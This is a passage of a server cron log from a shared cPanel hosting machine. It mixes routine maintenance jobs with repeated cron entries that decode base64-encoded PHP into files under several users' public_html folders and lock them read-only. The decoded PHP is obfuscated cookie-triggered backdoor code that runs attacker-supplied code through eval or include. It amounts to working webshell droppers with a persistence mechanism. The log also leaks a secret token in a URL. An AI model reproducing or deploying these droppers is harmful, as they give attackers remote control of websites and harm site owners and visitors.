uICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:24:02 medusa CROND[6935]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:24:02 medusa CROND[6936]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 15:24:02 medusa CROND[6937]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:24:02 medusa CROND[6933]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:24:02 medusa CROND[6943]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:24:02 medusa CROND[6946]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 15:25:01 medusa CROND[20697]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:25:02 medusa CROND[21057]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 15:25:02 medusa CROND[21058]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:25:02 medusa CROND[21072]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 15:25:02 medusa CROND[21073]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 15:25:02 medusa CROND[21077]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:25:02 medusa CROND[21083]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 15:25:02 medusa CROND[21082]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 15:25:02 medusa CROND[21087]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:25:02 medusa CROND[21088]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:25:02 medusa CROND[21078]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 15:25:02 medusa CROND[21101]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:25:02 medusa CROND[21102]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 15:25:02 medusa CROND[21103]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:25:02 medusa CROND[21085]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 15:25:02 medusa CROND[21105]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:25:02 medusa CROND[21107]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 15:25:02 medusa CROND[21084]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 15:25:02 medusa CROND[21080]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 15:25:02 medusa CROND[21079]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:25:02 medusa CROND[21091]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:25:02 medusa CROND[21120]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:26:02 medusa CROND[7376]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:26:02 medusa CROND[7377]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:26:02 medusa CROND[7378]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:26:02 medusa CROND[7379]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:26:02 medusa CROND[7383]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 15:26:02 medusa CROND[7388]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
